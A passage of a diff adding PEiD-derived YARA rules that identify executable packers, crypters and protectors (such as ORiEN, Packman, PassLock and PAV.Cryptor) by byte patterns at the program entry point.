+        $a = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 58 3C 40 00 E8 6C FA FF FF 33 C0 55 68 8A 3F 40 00 64 FF 30 64 89 20 6A 00 6A 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 81 E9 FF FF 8B 45 EC E8 41 F6 FF FF 50 E8 F3 FA FF FF 8B F8 83 FF FF 0F 84 83 02 00 00 6A 02 6A 00 6A EE 57 E8 FC FA FF FF 6A 00 68 60 99 4F 00 6A 12 68 18 57 40 00 57 E8 E0 FA FF FF 83 3D 60 99 4F 00 12 0F 85 56 02 00 00 8D 45 E4 50 8D 45 E0 BA 18 57 40 00 B9 40 42 0F 00 E8 61 F4 FF FF 8B 45 E0 B9 12 00 00 00 BA 01 00 00 00 E8 3B F6 FF FF 8B 45 E4 8D 55 E8 E8 04 FB ?? ?? ?? ?? E8 B8 58 99 4F 00 E8 67 F3 FF FF 33 C0 A3 60 99 4F 00 8D 45 DC 50 B9 05 00 00 00 BA 01 00 00 00 A1 58 99 4F 00 E8 04 F6 FF FF 8B 45 DC BA A4 3F 40 00 E8 E3 F4 FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01426_Open_Source_Code_Crypter____p0ke_
+{
+    meta:
+        description = "[Open Source Code Crypter -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 34 44 40 00 E8 28 F8 FF FF 33 C0 55 68 9F 47 40 00 64 FF 30 64 89 20 BA B0 47 40 00 B8 1C 67 40 00 E8 07 FD FF FF 8B D8 85 DB 75 07 6A 00 E8 C2 F8 FF FF BA 28 67 40 00 8B C3 8B 0D 1C 67 40 00 E8 F0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01427_Open_Source_Code_Crypter____p0ke_
+{
+    meta:
+        description = "[Open Source Code Crypter -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 34 44 40 00 E8 28 F8 FF FF 33 C0 55 68 9F 47 40 00 64 FF 30 64 89 20 BA B0 47 40 00 B8 1C 67 40 00 E8 07 FD FF FF 8B D8 85 DB 75 07 6A 00 E8 C2 F8 FF FF BA 28 67 40 00 8B C3 8B 0D 1C 67 40 00 E8 F0 E0 FF FF BE 01 00 00 00 B8 2C 68 40 00 E8 E1 F0 FF FF BF 0A 00 00 00 8D 55 EC 8B C6 E8 92 FC FF FF 8B 4D EC B8 2C 68 40 00 BA BC 47 40 00 E8 54 F2 FF FF A1 2C 68 40 00 E8 52 F3 FF FF 8B D0 B8 20 67 40 00 E8 A2 FC FF FF 8B D8 85 DB 0F 84 52 02 00 00 B8 24 67 40 00 8B 15 20 67 40 00 E8 78 F4 FF FF B8 24 67 40 00 E8 7A F3 FF FF 8B D0 8B C3 8B 0D 20 67 40 00 E8 77 E0 FF FF 8D 55 E8 A1 24 67 40 00 E8 42 FD FF FF 8B 55 E8 B8 24 67 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01428_ORiEN_2_11__DEMO__
+{
+    meta:
+        description = "[ORiEN 2.11 (DEMO)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01429_ORiEN_2_11___2_12____Fisun_Alexander_
+{
+    meta:
+        description = "[ORiEN 2.11 - 2.12 -> Fisun Alexander]"
+        ep_only = "false"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01430_ORiEN_V1_X_V2_X____Fisun_A_V____Sign_by_fly_
+{
+    meta:
+        description = "[ORiEN V1.X-V2.X -> Fisun A.V. ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D}
+    condition:
+        $a
+}
+
+rule PEiD_01431_ORiEN_v2_11__DEMO__
+{
+    meta:
+        description = "[ORiEN v2.11 (DEMO)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D 20 2D 0D 0A 2D 2D 2D 2D 2D 2D 20 43 72 65 61 74 65 64 20 62 79 20 41 2E 20 46 69 73 75 6E 2C 20 31 39 39 34 2D 32 30 30 33 20 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 20 57 57 57 3A 20 68 74 74 70 3A 2F 2F 7A 61 6C 65 78 66 2E 6E 61 72 6F 64 2E 72 75 2F 20 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 20 65 2D 6D 61 69 6C 3A 20 7A 61 6C 65 78 66 40 68 6F 74 6D 61 69 6C 2E 72 75 20 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01432_ORiEN_v2_11___2_12____Fisun_Alexander_
+{
+    meta:
+        description = "[ORiEN v2.11 - 2.12 -> Fisun Alexander]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D 20 2D 0D 0A 2D 2D 2D 2D 2D 2D 20 43 72 65 61 74 65 64 20 62 79 20 41 2E 20 46 69 73 75 6E 2C 20 31 39 39 34 2D 32 30 30 33 20 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 20 57 57 57 3A 20 68 74 74 70 3A 2F 2F 7A 61 6C 65 78 66 2E 6E 61 72 6F 64 2E 72 75 2F 20 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 20 65 2D 6D 61 69 6C 3A 20 7A 61 6C 65 78 66 40 68 6F 74 6D 61 69 6C 2E 72 75 20 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01433_ORiEN_V2_12____Fisun_A_V__
+{
+    meta:
+        description = "[ORiEN V2.12 -> Fisun A.V.]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE CD 0D}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01434_Pack_Master_v1_0_
+{
+    meta:
+        description = "[Pack Master v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED D3 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01435_Pack_Master_v1_0_
+{
+    meta:
+        description = "[Pack Master v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 ?? ?? ?? E8 83 C4 04 E8 01 ?? ?? ?? E9 5D 81 ED D3 22 40 ?? E8 04 02 ?? ?? E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01436_Packanoid____Arkanoid_
+{
+    meta:
+        description = "[Packanoid -> Arkanoid]"
+        ep_only = "true"
+    strings:
+        $a = {BF 00 10 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01437_Packanoid_1_0____ackanoid_
+{
+    meta:
+        description = "[Packanoid 1.0 -> ackanoid]"
+        ep_only = "true"
+    strings:
+        $a = {BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01438_Packanoid_1_0____ackanoid_
+{
+    meta:
+        description = "[Packanoid 1.0 -> ackanoid]"
+        ep_only = "true"
+    strings:
+        $a = {BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00 EB 21 00 ?? ?? 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 C0 00 F3 A4 E9 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 C0 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01439_Packanoid_v1____Arkanoid_
+{
+    meta:
+        description = "[Packanoid v1 -> Arkanoid]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? ?? BE ?? ?? ?? ?? E8 9D 00 00 00 B8 ?? ?? ?? ?? 8B 30 8B 78 04 BB ?? ?? ?? ?? 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01440_Packed_with__PKLITE_v1_50_with_CRC_check__1__
+{
+    meta:
+        description = "[Packed with? PKLITE v1.50 with CRC check (1)]"
+        ep_only = "true"
+    strings:
+        $a = {1F B4 09 BA ?? ?? CD 21 B8 ?? ?? CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01441_PackItBitch_1_0____archphase_
+{
+    meta:
+        description = "[PackItBitch 1.0 -> archphase]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 28 ?? ?? ?? 35 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 41 ?? ?? ?? 50 ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? ?? ?? 79 ?? ?? ?? 7D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01442_PackItBitch_V1_0___archphase___Sign_by_fly_
+{
+    meta:
+        description = "[PackItBitch V1.0-> archphase ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01443_PackItBitch_V1_0___archphase_
+{
+    meta:
+        description = "[PackItBitch V1.0-> archphase]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01444_Packman_0_0_0_1____bubba_
+{
+    meta:
+        description = "[Packman 0.0.0.1 -> bubba]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 8D A8 ?? FE FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01445_Packman_0_0_0_1____Bubbasoft__h__
+{
+    meta:
+        description = "[Packman 0.0.0.1 -> Bubbasoft (h)]"
+        ep_only = "false"
+    strings:
+        $a = {0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00 00 ?? ?? B8 00 ?? ?? 00 0B C0 74 34 03 C3 EB 2A 8D 70 08 03 40 04 33 ED 33 D2 66 8B 2E 66 0F A4 EA 04 80 FA 03 75 0D 81 E5 FF 0F 00 00 03 EF 03 EB 01 4D 00 46 46 3B F0 75 DC 8B 38 85 FF 75 D0 61 E9 ?? FE FF FF 02 D2 75 05 8A 16 46 12 D2 C3}
+    condition:
+        $a
+}
+rule PEiD_01446_Packman_0_0_0_1____Bubbasoft_
+{
+    meta:
+        description = "[Packman 0.0.0.1 -> Bubbasoft]"
+        ep_only = "true"
+    strings:
+        $a = {0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01447_Packman_Executable_Image_Packer_0_0_0_1____bubba_
+{
+    meta:
+        description = "[Packman Executable Image Packer 0.0.0.1 -> bubba]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 8D A8 ?? ?? FF FF 8D 98 ?? ?? ?? FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01448_Packman_V0_0_0_1____Bubbasoft_
+{
+    meta:
+        description = "[Packman V0.0.0.1 -> Bubbasoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 48}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01449_Packman_V1_0____Brandon_LaCombe_
+{
+    meta:
+        description = "[Packman V1.0 -> Brandon LaCombe]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01450_Packman_v1_0____Brandon_LaCombe_
+{
+    meta:
+        description = "[Packman v1.0 -> Brandon LaCombe]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA 8B E8 C6 06 E9 8B 43 0C 89 46 01 6A 04 68 00 10 00 00 FF 73 08 51 FF 55 08 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01451_PACKWIN_v1_01p_
+{
+    meta:
+        description = "[PACKWIN v1.01p]"
+        ep_only = "true"
+    strings:
+        $a = {8C C0 FA 8E D0 BC ?? ?? FB 06 0E 1F 2E ?? ?? ?? ?? 8B F1 4E 8B FE 8C DB 2E ?? ?? ?? ?? 8E C3 FD F3 A4 53 B8 ?? ?? 50 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01452_PAK_SFX_Archive_
+{
+    meta:
+        description = "[PAK-SFX Archive]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 ?? ?? A1 ?? ?? 2E ?? ?? ?? 2E ?? ?? ?? ?? ?? 8C D7 8E C7 8D ?? ?? BE ?? ?? FC AC 3C 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01453_PassEXE_v2_0_
+{
+    meta:
+        description = "[PassEXE v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 0E 0E 07 1F BE ?? ?? B9 ?? ?? 87 14 81 ?? ?? ?? EB ?? C7 ?? ?? ?? 84 00 87 ?? ?? ?? FB 1F 58 4A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01454_PassLock_2000_1_0__Eng_____Moonlight_Software_
+{
+    meta:
+        description = "[PassLock 2000 1.0 (Eng) -> Moonlight-Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01455_PassLock_2000_v1_0__Eng_____Moonlight_Software_
+{
+    meta:
+        description = "[PassLock 2000 v1.0 (Eng) -> Moonlight-Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01456_PassLock_2000_v1_0__Eng_____Moonlight_Software_
+{
+    meta:
+        description = "[PassLock 2000 v1.0 (Eng) -> Moonlight-Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24 2C 01 00 00 00 74 05 0F B7 44 24 30 83 C4 44 89 43 56 FF 15 D0 61 40 00 E8 9E 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 6A 00 FF 15 E4 61 40 00 89 43 5C E8 F9 00 00 00 E8 AA 00 00 00 B8 FF 00 00 00 72 0D 53 E8 96 00 00 00 5B FF 4B 10 FF 4B 18 5F 5E 5B 5D 50 FF 15 C8 61 40 00 C3 83 7D 0C 01 75 3F E8 81 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 FF 15 D0 61 40 00 E8 3A 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 8B 45 08 89 43 5C E8 9A 00 00 00 E8 4B 00 00 00 72 11 66 FF 43 5A 8B 45 0C 89 43 60 53}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01457_Password_Protector__c__MiniSoft_1992_
+{
+    meta:
+        description = "[Password Protector (c) MiniSoft 1992]"
+        ep_only = "true"
+    strings:
+        $a = {06 0E 0E 07 1F E8 00 00 5B 83 EB 08 BA 27 01 03 D3 E8 3C 02 BA EA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01458_Password_Protector_for_the_UPX_0_30____g0d_
+{
+    meta:
+        description = "[Password Protector for the UPX 0.30 -> g0d]"
+        ep_only = "true"
+    strings:
+        $a = {C8 50 01 00 60 E8 EC 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 44 69 61 6C 6F 67 42 6F 78 49 6E 64 69 72 65 63 74 50 61 72 61 6D 41 00 53 65 6E 64 4D 65 73 73 61 67 65 41 00 45 6E 64 44 69 61 6C 6F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01459_Password_protector_my_SMT_
+{
+    meta:
+        description = "[Password protector my SMT]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5D 8B FD 81 ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 46 80 ?? ?? 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01460_Patch_Creation_Wizard_1_2_Byte_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard 1.2 Byte Patch]"
+        ep_only = "false"
+    strings:
+        $a = {E8 7F 03 00 00 6A 00 E8 24 03 00 00 A3 B8 33 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 2C 03 00 00 6A 00 E8 EF 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 B8 33 40 00 E8 1B 03 00 00 50 6A 01 68 80 00 00 00 FF 75}
+    condition:
+        $a
+}
+
+rule PEiD_01461_Patch_Creation_Wizard_1_2_Memory_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard 1.2 Memory Patch]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 9B 02 00 00 A3 7A 33 40 00 6A 00 68 8E 10 40 00 6A 00 6A 01 50 E8 B5 02 00 00 68 5A 31 40 00 68 12 31 40 00 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 68 A2 30 40 00 6A 00 E8 51 02 00 00 85 C0 74 31 FF 35 62 31 40 00 6A 00 6A 30 E8 62 02 00 00 E8 0B 01}
+    condition:
+        $a
+}
+
+rule PEiD_01462_Patch_Creation_Wizard_1_2_Seek_and_Destroy_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard 1.2 Seek and Destroy Patch]"
+        ep_only = "false"
+    strings:
+        $a = {E8 C5 05 00 00 6A 00 E8 5E 05 00 00 A3 CE 39 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 72 05 00 00 6A 00 E8 2F 05 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 CE 39 40 00 E8 61 05 00 00 50 6A 01 68 80 00 00 00 FF 75}
+    condition:
+        $a
+}
+rule PEiD_01463_Patch_Creation_Wizard_v1_2_Byte_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard v1.2 Byte Patch]"
+        ep_only = "false"
+    strings:
+        $a = {E8 7F 03 00 00 6A 00 E8 24 03 00 00 A3 B8 33 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 2C 03 00 00 6A 00 E8 EF 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 B8 33 40 00 E8 1B 03 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 1D 03 00 00 68 5F 30 40 00 6A 65 FF 75 08 E8 14 03 00 00 68 B0 30 40 00 6A 67 FF 75 08 E8 05 03 00 00 68 01 31 40 00 6A 66 FF 75 08 E8 F6 02 00 00 6A 00 FF 75 08 E8 C8 02 00 00 A3 B4 33 40 00 C7 05 BC 33 40 00 2C 00 00 00 C7 05 C0 33 40 00 10 00 00 00 C7 05 C4 33 40 00 00 08 00 00 68 BC 33 40 00 6A 01 6A FF FF 35 B4 33 40 00 E8 97 02 00 00 C7 05 C4 33 40 00 00 00 00 00 C7 05 E0 33 40 00 00 30 40 00 C7 05 E4 33 40 00 01 00 00 00 68 BC 33 40 00 6A 01 6A FF FF 35 B4 33 40 00 E8 65 02 00 00 EB 5F EB 54}
+    condition:
+        $a
+}
+
+rule PEiD_01464_Patch_Creation_Wizard_v1_2_Memory_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard v1.2 Memory Patch]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 9B 02 00 00 A3 7A 33 40 00 6A 00 68 8E 10 40 00 6A 00 6A 01 50 E8 B5 02 00 00 68 5A 31 40 00 68 12 31 40 00 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 68 A2 30 40 00 6A 00 E8 51 02 00 00 85 C0 74 31 FF 35 62 31 40 00 6A 00 6A 30 E8 62 02 00 00 E8 0B 01 00 00 FF 35 5A 31 40 00 E8 22 02 00 00 FF 35 5E 31 40 00 E8 53 02 00 00 6A 00 E8 22 02 00 00 6A 10 68 F7 30 40 00 68 FE 30 40 00 6A 00 E8 63 02 00 00 6A 00 E8 08 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 75 6B 6A 01 FF 35 7A 33 40 00 E8 38 02 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 34 02 00 00 68 00 30 40 00 6A 65 FF 75 08 E8 2B 02 00 00 68 51 30 40 00 6A 67 FF 75 08 E8 1C 02 00 00 68 A2 30 40 00 6A 66 FF 75 08 E8 0D 02 00 00 8B 45 08 A3 7E 33 40 00 68 3B 11 40 00 68 E8 03 00 00 68 9A 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_01465_Patch_Creation_Wizard_v1_2_Seek_and_Destroy_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard v1.2 Seek and Destroy Patch]"
+        ep_only = "false"
+    strings:
+        $a = {E8 C5 05 00 00 6A 00 E8 5E 05 00 00 A3 CE 39 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 72 05 00 00 6A 00 E8 2F 05 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 CE 39 40 00 E8 61 05 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 63 05 00 00 68 5F 30 40 00 6A 65 FF 75 08 E8 5A 05 00 00 68 B0 30 40 00 6A 67 FF 75 08 E8 4B 05 00 00 68 01 31 40 00 6A 66 FF 75 08 E8 3C 05 00 00 6A 00 FF 75 08 E8 0E 05 00 00 A3 CA 39 40 00 C7 05 D2 39 40 00 2C 00 00 00 C7 05 D6 39 40 00 10 00 00 00 C7 05 DA 39 40 00 00 08 00 00 68 D2 39 40 00 6A 01 6A FF FF 35 CA 39 40 00 E8 DD 04 00 00 C7 05 DA 39 40 00 00 00 00 00 C7 05 F6 39 40 00 00 30 40 00 C7 05 FA 39 40 00 01 00 00 00 68 D2 39 40 00 6A 01 6A FF FF 35 CA 39 40 00 E8 AB 04 00 00 EB 5F EB 54}
+    condition:
+        $a
+}
+
+rule PEiD_01466_PAV_Cryptor__Pawning_AntiVirus_Cryptor_____masha_dev_
+{
+    meta:
+        description = "[PAV.Cryptor (Pawning AntiVirus Cryptor) -> masha_dev]"
+        ep_only = "false"
+    strings:
